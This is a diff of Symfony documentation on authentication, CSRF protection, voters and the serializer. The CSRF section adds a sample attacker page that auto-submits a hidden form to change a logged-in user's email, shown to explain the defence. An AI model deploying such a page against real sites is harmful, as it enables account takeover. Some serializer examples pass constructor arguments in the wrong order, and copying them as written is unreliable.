+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <cas validation-url="https://www.example.com/cas/validate" prefix="cas-example"/>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->cas()
+                            ->validationUrl('https://www.example.com/cas/validate')
+                            ->prefix('cas-example')
+            ;
+        };
+
 Creating Users from Token
 -------------------------
 
@@ -727,8 +921,9 @@ need a user provider to create a user from the database::
 When using this strategy, you can omit the ``user_provider`` configuration
 for :ref:`stateless firewalls <reference-security-stateless>`.
 
+.. _`Central Authentication Service (CAS)`: https://en.wikipedia.org/wiki/Central_Authentication_Service
 .. _`JSON Web Tokens (JWT)`: https://datatracker.ietf.org/doc/html/rfc7519
-.. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html
-.. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750
-.. _`OpenID Connect Specification`: https://openid.net/specs/openid-connect-core-1_0.html
 .. _`OpenID Connect (OIDC)`: https://en.wikipedia.org/wiki/OpenID#OpenID_Connect_(OIDC)
+.. _`OpenID Connect Specification`: https://openid.net/specs/openid-connect-core-1_0.html
+.. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750
+.. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html
diff --git a/security/csrf.rst b/security/csrf.rst
index 76aaf9ea4bf..be8348597c7 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -1,15 +1,44 @@
 How to Implement CSRF Protection
 ================================
 
-CSRF - or `Cross-site request forgery`_ - is a method by which a malicious
-user attempts to make your legitimate users unknowingly submit data that
-they don't intend to submit.
+CSRF, or `Cross-site request forgery`_, is a type of attack where a malicious actor
+tricks a user into performing actions on a web application without their knowledge
+or consent.
 
-CSRF protection works by adding a hidden field to your form that contains a
-value that only you and your user know. This ensures that the user - not some
-other entity - is submitting the given data.
+The attack is based on the trust that a web application has in a user's browser
+(e.g. on session cookies). Here's a real example of a CSRF attack: a malicious
+actor could create the following website:
 
-Before using the CSRF protection, install it in your project:
+.. code-block:: html
+
+    <html>
+        <body>
+            <form action="https://example.com/settings/update-email" method="POST">
+                <input type="hidden" name="email" value="malicious-actor-address@some-domain.com"/>
+            </form>
+            <script>
+                document.forms[0].submit();
+            </script>
+
+            <!-- some content here to distract the user -->
+        </body>
+    </html>
+
+If you visit this website (e.g. by clicking on some email link or some social
+network post) and you were already logged in on the ``https://example.com`` site,
+the malicious actor could change the email address associated to your account
+(effectively taking over your account) without you even being aware of it.
+
+An effective way of preventing CSRF attacks is to use anti-CSRF tokens. These are
+unique tokens added to forms as hidden fields. The legit server validates them to
+ensure that the request originated from the expected source and not some other
+malicious website.
+
+Installation
+------------
+
+Symfony provides all the needed features to generate and validate the anti-CSRF
+tokens. Before using them, install this package in your project:
 
 .. code-block:: terminal
 
@@ -72,17 +101,66 @@ protected forms. As an alternative, you can:
   load the CSRF token with an uncached AJAX request and replace the form
   field value with it.
 
+.. _csrf-protection-forms:
+
 CSRF Protection in Symfony Forms
 --------------------------------
 
-Forms created with the Symfony Form component include CSRF tokens by default
-and Symfony checks them automatically, so you don't have to do anything to be
-protected against CSRF attacks.
+:doc:`Symfony Forms </forms>` include CSRF tokens by default and Symfony also
+checks them automatically for you. So, when using Symfony Forms, you don't have
+to do anything to be protected against CSRF attacks.
 
 .. _form-csrf-customization:
 
 By default Symfony adds the CSRF token in a hidden field called ``_token``, but
-this can be customized on a form-by-form basis::
+this can be customized (1) globally for all forms and (2) on a form-by-form basis.
+Globally, you can configure it under the ``framework.form`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            form:
+                csrf_protection:
+                    enabled: true
+                    field_name: 'custom_token_name'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:form>
+                    <framework:csrf-protection enabled="true" field-name="custom_token_name"/>
+                </framework:form>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->form()->csrfProtection()
+                ->enabled(true)
+                ->fieldName('custom_token_name')
+            ;
+        };
+
+On a form-by-form basis, you can configure the CSRF protection in the ``setDefaults()``
+method of each form::
 
     // src/Form/TaskType.php
     namespace App\Form;
@@ -117,12 +195,15 @@ You can also customize the rendering of the CSRF form field creating a custom
 the field (e.g. define ``{% block csrf_token_widget %} ... {% endblock %}`` to
 customize the entire form field contents).
 
-CSRF Protection in Login Forms
-------------------------------
+.. _csrf-protection-in-login-forms:
+
+CSRF Protection in Login Form and Logout Action
+-----------------------------------------------
+
+Read the following:
 
-See :ref:`form_login-csrf` for a login form that is protected from CSRF
-attacks. You can also configure the
-:ref:`CSRF protection for the logout action <reference-security-logout-csrf>`.
+* :ref:`CSRF Protection in Login Forms <form_login-csrf>`;
+* :ref:`CSRF protection for the logout action <reference-security-logout-csrf>`.
 
 .. _csrf-protection-in-html-forms:
 
@@ -176,7 +257,33 @@ attribute on the controller action::
     // ...
 
     #[IsCsrfTokenValid('delete-item', tokenKey: 'token')]
-    public function delete(Request $request): Response
+    public function delete(): Response
+    {
+        // ... do something, like deleting an object
+    }
+
+Suppose you want a CSRF token per item, so in the template you have something like the following:
+
+.. code-block:: html+twig
+
+    <form action="{{ url('admin_post_delete', { id: post.id }) }}" method="post">
+        {# the argument of csrf_token() is a dynamic id string used to generate the token #}
+        <input type="hidden" name="token" value="{{ csrf_token('delete-item-' ~ post.id) }}">
+
+        <button type="submit">Delete item</button>
+    </form>
+
+The :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`
+attribute also accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression`
+object evaluated to the id::
+
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
+    // ...
+
+    #[IsCsrfTokenValid(new Expression('"delete-item-" ~ args["post"].getId()'), tokenKey: 'token')]
+    public function delete(Post $post): Response
     {
         // ... do something, like deleting an object
     }
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index c41448ab350..8b2ec9d7f34 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -37,12 +37,13 @@ method that fits most use-cases::
          */
         public function supports(Request $request): ?bool
         {
-            return $request->headers->has('X-AUTH-TOKEN');
+            // "auth-token" is an example of a custom, non-standard HTTP header used in this application
+            return $request->headers->has('auth-token');
         }
 
         public function authenticate(Request $request): Passport
         {
-            $apiToken = $request->headers->get('X-AUTH-TOKEN');
+            $apiToken = $request->headers->get('auth-token');
             if (null === $apiToken) {
                 // The token header was empty, authentication fails with HTTP Status
                 // Code 401 "Unauthorized"
@@ -152,22 +153,25 @@ or there was something wrong (e.g. incorrect password). The authenticator
 can define what happens in these cases:
 
 ``onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response``
-    If the user is authenticated, this method is called with the
-    authenticated ``$token``. This method can return a response (e.g.
-    redirect the user to the homepage).
+    If authentication is successful, this method is called with the
+    authenticated ``$token``.
 
-    If ``null`` is returned, the request continues like normal (i.e. the
-    controller matching the login route is called). This is useful for API
-    routes where each route is protected by an API key header.
+    This method can return a response (e.g. redirect the user to some page).
+
+    If ``null`` is returned, the current request will continue (and the
+    user will be authenticated). This is useful for API routes where each
+    route is protected by an API key header.
 
 ``onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response``
-    If an ``AuthenticationException`` is thrown during authentication, the
-    process fails and this method is called. This method can return a
-    response (e.g. to return a 401 Unauthorized response in API routes).
+    If authentication failed (e. g. wrong username password), this method
+    is called with the ``AuthenticationException`` thrown.
+
+    This method can return a response (e.g. send a 401 Unauthorized in API
+    routes).
 
-    If ``null`` is returned, the request continues like normal. This is
-    useful for e.g. login forms, where the login controller is run again
-    with the login errors.
+    If ``null`` is returned, the request continues (but the user will **not**
+    be authenticated). This is useful for login forms, where the login
+    controller is run again with the login errors.
 
     If you're using :ref:`login throttling <security-login-throttling>`,
     you can check if ``$exception`` is an instance of
@@ -342,7 +346,7 @@ would initialize the passport like this::
             $username = $request->getPayload()->get('username');
             $csrfToken = $request->getPayload()->get('csrf_token');
 
-            // ... validate no parameter is empty
+            // ...
 
             return new Passport(
                 new UserBadge($username),
diff --git a/security/expressions.rst b/security/expressions.rst
index cf7071e79a9..569c7f093bf 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -7,7 +7,7 @@ Using Expressions in Security Access Controls
     the :doc:`Voter System </security/voters>`.
 
 In addition to security roles like ``ROLE_ADMIN``, the ``isGranted()`` method
-and ``#[IsGranted()]`` attribute also accept an
+and ``#[IsGranted]`` attribute also accept an
 :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object:
 
 .. configuration-block::
@@ -138,7 +138,7 @@ Additionally, you have access to a number of functions inside the expression:
     true if the user has actually logged in during this session (i.e. is
     full-fledged).
 
-In case of the ``#[IsGranted()]`` attribute, the subject can also be an
+In case of the ``#[IsGranted]`` attribute, the subject can also be an
 :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object::
 
     // src/Controller/MyController.php
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 308794b06dd..6f22e7aace6 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -5,7 +5,7 @@ Sometimes, it's useful to be able to switch from one user to another without
 having to log out and log in again (for instance when you are debugging something
 a user sees that you can't reproduce).
 
-.. caution::
+.. warning::
 
     User impersonation is not compatible with some authentication mechanisms
     (e.g. ``REMOTE_USER``) where the authentication information is expected to be
@@ -150,7 +150,7 @@ instance, to show a link to exit impersonation in a template:
 .. code-block:: html+twig
 
     {% if is_granted('IS_IMPERSONATOR') %}
-        <a href="{{ impersonation_exit_path(path('homepage') ) }}">Exit impersonation</a>
+        <a href="{{ impersonation_exit_path(path('homepage')) }}">Exit impersonation</a>
     {% endif %}
 
 Finding the Original User
@@ -368,13 +368,14 @@ logic you want::
 
     use Symfony\Bundle\SecurityBundle\Security;
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Authorization\AccessDecisionManagerInterface;
     use Symfony\Component\Security\Core\Authorization\Voter\Voter;
     use Symfony\Component\Security\Core\User\UserInterface;
 
     class SwitchToCustomerVoter extends Voter
     {
         public function __construct(
-            private Security $security,
+            private AccessDecisionManagerInterface $accessDecisionManager,
         ) {
         }
 
@@ -393,12 +394,12 @@ logic you want::
             }
 
             // you can still check for ROLE_ALLOWED_TO_SWITCH
-            if ($this->security->isGranted('ROLE_ALLOWED_TO_SWITCH')) {
+            if ($this->accessDecisionManager->decide($token, ['ROLE_ALLOWED_TO_SWITCH'])) {
                 return true;
             }
 
             // check for any roles you want
-            if ($this->security->isGranted('ROLE_TECH_SUPPORT')) {
+            if ($this->accessDecisionManager->decide($token, ['ROLE_TECH_SUPPORT'])) {
                 return true;
             }
 
diff --git a/security/ldap.rst b/security/ldap.rst
index c870916979b..081be764290 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -25,7 +25,7 @@ This means that the following scenarios will work:
   either the LDAP form login or LDAP HTTP Basic authentication providers.
 
 * Checking a user's password against an LDAP server while fetching user
-  information from another source (database using FOSUserBundle, for
+  information from another source (like your main database for
   example).
 
 * Loading user information from an LDAP server, while using another
@@ -197,14 +197,14 @@ use the ``ldap`` user provider.
             ;
         };
 
-.. caution::
+.. danger::
 
     The Security component escapes provided input data when the LDAP user
     provider is used. However, the LDAP component itself does not provide
     any escaping yet. Thus, it's your responsibility to prevent LDAP injection
     attacks when using the component directly.
 
-.. caution::
+.. warning::
 
     The user configured above in the user provider is only used to retrieve
     data. It's a static user defined by its username and password (for improved
diff --git a/security/login_link.rst b/security/login_link.rst
index 72a1bbd33d3..57d353278c2 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -194,7 +194,7 @@ controller. Based on this property, the correct user is loaded and a login
 link is created using
 :method:`Symfony\\Component\\Security\\Http\\LoginLink\\LoginLinkHandlerInterface::createLoginLink`.
 
-.. caution::
+.. warning::
 
     It is important to send this link to the user and **not show it directly**,
     as that would allow anyone to login. For instance, use the
@@ -248,7 +248,7 @@ number::
                 return $this->render('security/login_link_sent.html.twig');
             }
 
-            return $this->render('security/login.html.twig');
+            return $this->render('security/request_login_link.html.twig');
         }
 
         // ...
@@ -279,11 +279,13 @@ This will send an email like this to the user:
         // src/Notifier/CustomLoginLinkNotification
         namespace App\Notifier;
 
+        use Symfony\Component\Notifier\Message\EmailMessage;
+        use Symfony\Component\Notifier\Recipient\EmailRecipientInterface;
         use Symfony\Component\Security\Http\LoginLink\LoginLinkNotification;
 
         class CustomLoginLinkNotification extends LoginLinkNotification
         {
-            public function asEmailMessage(EmailRecipientInterface $recipient, string $transport = null): ?EmailMessage
+            public function asEmailMessage(EmailRecipientInterface $recipient, ?string $transport = null): ?EmailMessage
             {
                 $emailMessage = parent::asEmailMessage($recipient, $transport);
 
@@ -639,7 +641,7 @@ user create this POST request (e.g. by clicking a button)::
         <h2>Hi! You are about to login to ...</h2>
 
         <!-- for instance, use a form with hidden fields to
-             create the POST request --->
+             create the POST request -->
         <form action="{{ path('login_check') }}" method="POST">
             <input type="hidden" name="expires" value="{{ expires }}">
             <input type="hidden" name="user" value="{{ user }}">
diff --git a/security/passwords.rst b/security/passwords.rst
index 581c7b85870..fe20187b3a0 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -282,6 +282,13 @@ you'll see a success message and a list of any other steps you need to do.
 
     $ php bin/console make:reset-password
 
+.. tip::
+
+    Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or
+    ``--with-ulid`` to ``make:reset-password``. Leveraging Symfony's :doc:`Uid Component </components/uid>`,
+    the entities will be generated with the ``id`` type as :ref:`Uuid <uuid>`
+    or :ref:`Ulid <ulid>` instead of ``int``.
+
 You can customize the reset password bundle's behavior by updating the
 ``reset_password.yaml`` file. For more information on the configuration,
 check out the `SymfonyCastsResetPasswordBundle`_  guide.
@@ -637,7 +644,7 @@ the name of the hasher to use::
         }
     }
 
-.. caution::
+.. warning::
 
     When :ref:`migrating passwords <security-password-migration>`, you don't
     need to implement ``PasswordHasherAwareInterface`` to return the legacy
diff --git a/security/user_providers.rst b/security/user_providers.rst
index 17a18468168..09d47c270f2 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -257,7 +257,7 @@ After setting up hashing, you can configure all the user information in
             ;
         };
 
-.. caution::
+.. warning::
 
     When using a ``memory`` provider, and not the ``auto`` algorithm, you have
     to choose an encoding without salt (i.e. ``bcrypt``).
diff --git a/security/voters.rst b/security/voters.rst
index 0aefd3c2aa8..e7452fadf99 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -121,7 +121,7 @@ code like this:
             }
         }
 
-The ``#[IsGranted()]`` attribute or ``denyAccessUnlessGranted()`` method (and also the ``isGranted()`` method)
+The ``#[IsGranted]`` attribute or ``denyAccessUnlessGranted()`` method (and also the ``isGranted()`` method)
 calls out to the "voter" system. Right now, no voters will vote on whether or not
 the user can "view" or "edit" a ``Post``. But you can create your *own* voter that
 decides this using whatever logic you want.
@@ -237,22 +237,22 @@ Checking for Roles inside a Voter
 ---------------------------------
 
 What if you want to call ``isGranted()`` from *inside* your voter - e.g. you want
-to see if the current user has ``ROLE_SUPER_ADMIN``. That's possible by injecting
-the :class:`Symfony\\Bundle\\SecurityBundle\\Security`
-into your voter. You can use this to, for example, *always* allow access to a user
+to see if the current user has ``ROLE_SUPER_ADMIN``. That's possible by using an
+:class:`access decision manager <Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManagerInterface>`
+inside your voter. You can use this to, for example, *always* allow access to a user
 with ``ROLE_SUPER_ADMIN``::
 
     // src/Security/PostVoter.php
 
     // ...
-    use Symfony\Bundle\SecurityBundle\Security;
+    use Symfony\Component\Security\Core\Authorization\AccessDecisionManagerInterface;
 
     class PostVoter extends Voter
     {
         // ...
 
         public function __construct(
-            private Security $security,
+            private AccessDecisionManagerInterface $accessDecisionManager,
         ) {
         }
 
@@ -261,7 +261,7 @@ with ``ROLE_SUPER_ADMIN``::
             // ...
 
             // ROLE_SUPER_ADMIN can do anything! The power!
-            if ($this->security->isGranted('ROLE_SUPER_ADMIN')) {
+            if ($this->accessDecisionManager->decide($token, ['ROLE_SUPER_ADMIN'])) {
                 return true;
             }
 
@@ -269,6 +269,25 @@ with ``ROLE_SUPER_ADMIN``::
         }
     }
 
+.. warning::
+
+    In the previous example, avoid using the following code to check if a role
+    is granted permission::
+
+        // DON'T DO THIS
+        use Symfony\Component\Security\Core\Security;
+        // ...
+
+        if ($this->security->isGranted('ROLE_SUPER_ADMIN')) {
+            // ...
+        }
+
+    The ``Security::isGranted()`` method inside a voter has a significant
+    drawback: it does not guarantee that the checks are performed on the same
+    token as the one in your voter. The token in the token storage might have
+    changed or could change in the meantime. Always use the ``AccessDecisionManager``
+    instead.
+
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 you're done! Symfony will automatically pass the ``security.helper``
 service when instantiating your voter (thanks to autowiring).
diff --git a/serializer.rst b/serializer.rst
index 6f75d65afc4..d541310aa15 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1,10 +1,17 @@
 How to Use the Serializer
 =========================
 
-Symfony provides a serializer to serialize/deserialize to and from objects and
-different formats (e.g. JSON or XML). Before using it, read the
-:doc:`Serializer component docs </components/serializer>` to get familiar with
-its philosophy and the normalizers and encoders terminology.
+Symfony provides a serializer to transform data structures from one format
+to PHP objects and the other way around.
+
+This is most commonly used when building an API or communicating with third
+party APIs. The serializer can transform an incoming JSON request payload
+to a PHP object that is consumed by your application. Then, when generating
+the response, you can use the serializer to transform the PHP objects back
+to a JSON response.
+
+It can also be used to for instance load CSV configuration data as PHP
+objects, or even to transform between formats (e.g. YAML to XML).
 
 .. _activating_the_serializer:
 
@@ -12,422 +19,446 @@ Installation
 ------------
 
 In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the ``serializer`` :ref:`Symfony pack <symfony-packs>` before using it:
+install the serializer :ref:`Symfony pack <symfony-packs>` before using it:
 
 .. code-block:: terminal
 
     $ composer require symfony/serializer-pack
 
-Using the Serializer Service
-----------------------------
+.. note::
+
+    The serializer pack also installs some commonly used optional
+    dependencies of the Serializer component. When using this component
+    outside the Symfony framework, you might want to start with the
+    ``symfony/serializer`` package and install optional dependencies if you
+    need them.
 
-Once enabled, the serializer service can be injected in any service where
-you need it or it can be used in a controller::
+.. seealso::
 
-    // src/Controller/DefaultController.php
-    namespace App\Controller;
+    A popular alternative to the Symfony Serializer component is the third-party
+    library, `JMS serializer`_.
 
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Serializer\SerializerInterface;
+Serializing an Object
+---------------------
 
-    class DefaultController extends AbstractController
+For this example, assume the following class exists in your project::
+
+    // src/Model/Person.php
+    namespace App\Model;
+
+    class Person
     {
-        public function index(SerializerInterface $serializer): Response
+        public function __construct(
+            private int $age,
+            private string $name,
+            private bool $sportsperson
+        ) {
+        }
+
+        public function getAge(): int
+        {
+            return $this->age;
+        }
+
+        public function getName(): string
+        {
+            return $this->name;
+        }
+
+        public function isSportsperson(): bool
         {
-            // keep reading for usage examples
+            return $this->sportsperson;
         }
     }
 
-Or you can use the ``serialize`` Twig filter in a template:
+If you want to transform objects of this type into a JSON structure (e.g.
+to send them via an API response), get the ``serializer`` service by using
+the :class:`Symfony\\Component\\Serializer\\SerializerInterface` parameter type:
 
-.. code-block:: twig
+.. configuration-block::
 
-    {{ object|serialize(format = 'json') }}
+    .. code-block:: php-symfony
 
-See the :doc:`twig reference </reference/twig_reference>` for
-more information.
+        // src/Controller/PersonController.php
+        namespace App\Controller;
 
-Adding Normalizers and Encoders
--------------------------------
+        use App\Model\Person;
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\JsonResponse;
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Serializer\SerializerInterface;
 
-Once enabled, the ``serializer`` service will be available in the container.
-It comes with a set of useful :ref:`encoders <component-serializer-encoders>`
-and :ref:`normalizers <component-serializer-normalizers>`.
-
-Encoders supporting the following formats are enabled:
-
-* JSON: :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
-* XML: :class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
-* CSV: :class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
-* YAML: :class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
-
-As well as the following normalizers:
-
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
-
-Other :ref:`built-in normalizers <component-serializer-normalizers>` and
-custom normalizers and/or encoders can also be loaded by tagging them as
-:ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>` and
-:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`. It's also
-possible to set the priority of the tag in order to decide the matching order.
+        class PersonController extends AbstractController
+        {
+            public function index(SerializerInterface $serializer): Response
+            {
+                $person = new Person('Jane Doe', 39, false);
 
-.. danger::
+                $jsonContent = $serializer->serialize($person, 'json');
+                // $jsonContent contains {"name":"Jane Doe","age":39,"sportsperson":false}
 
-    Always make sure to load the ``DateTimeNormalizer`` when serializing the
-    ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory
-    usage and exposing internal details.
+                return JsonResponse::fromJsonString($jsonContent);
+            }
+        }
 
-.. _serializer_serializer-context:
+    .. code-block:: php-standalone
 
-Serializer Context
-------------------
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Encoder\JsonEncoder;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
 
-The serializer can define a context to control the (de)serialization of
-resources. This context is passed to all normalizers. For example:
+        $encoders = [new JsonEncoder()];
+        $normalizers = [new ObjectNormalizer()];
+        $serializer = new Serializer($normalizers, $encoders);
 
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` uses
-  ``datetime_format`` key as date time format;
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractObjectNormalizer`
-  uses ``preserve_empty_objects`` to represent empty objects as ``{}`` instead
-  of ``[]`` in JSON.
-* :class:`Symfony\\Component\\Serializer\\Serializer`
-  uses ``empty_array_as_object`` to represent empty arrays as ``{}`` instead
-  of ``[]`` in JSON.
+        $person = new Person('Jane Done', 39, false);
 
-You can pass the context as follows::
+        $jsonContent = $serializer->serialize($person, 'json');
+        // $jsonContent contains {"name":"Jane Doe","age":39,"sportsperson":false}
 
-    $serializer->serialize($something, 'json', [
-        DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
-    ]);
+The first parameter of the :method:`Symfony\\Component\\Serializer\\Serializer::serialize`
+is the object to be serialized and the second is used to choose the proper
+encoder (i.e. format), in this case the :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`.
 
-    $serializer->deserialize($someJson, Something::class, 'json', [
-        DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
-    ]);
+.. tip::
 
-You can also configure the default context through the framework
-configuration:
+    When your controller class extends ``AbstractController`` (like in the
+    example above), you can simplify your controller by using the
+    :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::json`
+    method to create a JSON response from an object using the Serializer::
 
-.. configuration-block::
+        class PersonController extends AbstractController
+        {
+            public function index(): Response
+            {
+                $person = new Person('Jane Doe', 39, false);
 
-    .. code-block:: yaml
+                // when the Serializer is not available, this will use json_encode()
+                return $this->json($person);
+            }
+        }
 
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            serializer:
-                default_context:
-                    enable_max_depth: true
-                    yaml_indentation: 2
+Using the Serializer in Twig Templates
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    .. code-block:: xml
+You can also serialize objects in any Twig template using the ``serialize``
+filter:
 
-        <!-- config/packages/framework.xml -->
-        <framework:config>
-            <!-- ... -->
-            <framework:serializer>
-                <default-context enable-max-depth="true" yaml-indentation="2"/>
-            </framework:serializer>
-        </framework:config>
+.. code-block:: twig
 
-    .. code-block:: php
+    {{ person|serialize(format = 'json') }}
 
-        // config/packages/framework.php
-        use Symfony\Component\Serializer\Encoder\YamlEncoder;
-        use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
-        use Symfony\Config\FrameworkConfig;
+See the :ref:`twig reference <reference-twig-filter-serialize>` for more
+information.
 
-        return static function (FrameworkConfig $framework): void {
-            $framework->serializer()
-                ->defaultContext([
-                    AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true,
-                    YamlEncoder::YAML_INDENTATION => 2,
-                ])
-            ;
-        };
+Deserializing an Object
+-----------------------
 
-You can also specify the context on a per-property basis::
+APIs often also need to convert a formatted request body (e.g. JSON) to a
+PHP object. This process is called *deserialization* (also known as "hydration"):
 
 .. configuration-block::
 
-    .. code-block:: php-attributes
+    .. code-block:: php-symfony
 
-        namespace App\Model;
+        // src/Controller/PersonController.php
+        namespace App\Controller;
 
-        use Symfony\Component\Serializer\Annotation\Context;
-        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+        // ...
+        use Symfony\Component\HttpFoundation\Exception\BadRequestException;
+        use Symfony\Component\HttpFoundation\Request;
 
-        class Person
+        class PersonController extends AbstractController
         {
-            #[Context([DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'])]
-            public \DateTimeInterface $createdAt;
-
             // ...
+
+            public function create(Request $request, SerializerInterface $serializer): Response
+            {
+                if ('json' !== $request->getContentTypeFormat()) {
+                    throw new BadRequestException('Unsupported content format');
+                }
+
+                $jsonData = $request->getContent();
+                $person = $serializer->deserialize($jsonData, Person::class, 'json');
+
+                // ... do something with $person and return a response
+            }
         }
 
-    .. code-block:: yaml
+    .. code-block:: php-standalone
 
-        App\Model\Person:
-            attributes:
-                createdAt:
-                    contexts:
-                        - { context: { datetime_format: 'Y-m-d' } }
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Encoder\JsonEncoder;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
 
-    .. code-block:: xml
+        // ...
+        $jsonData = ...; // fetch JSON from the request
+        $person = $serializer->deserialize($jsonData, Person::class, 'json');
 
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\Model\Person">
-                <attribute name="createdAt">
-                    <context>
-                        <entry name="datetime_format">Y-m-d</entry>
-                    </context>
-                </attribute>
-            </class>
-        </serializer>
+In this case, :method:`Symfony\\Component\\Serializer\\Serializer::deserialize`
+needs three parameters:
 
-Use the options to specify context specific to normalization or denormalization::
+#. The data to be decoded
+#. The name of the class this information will be decoded to
+#. The name of the encoder used to convert the data to an array (i.e. the
+   input format)
 
-    namespace App\Model;
+When sending a request to this controller (e.g.
+``{"first_name":"John Doe","age":54,"sportsperson":true}``), the serializer
+will create a new instance of ``Person`` and sets the properties to the
+values from the given JSON.
 
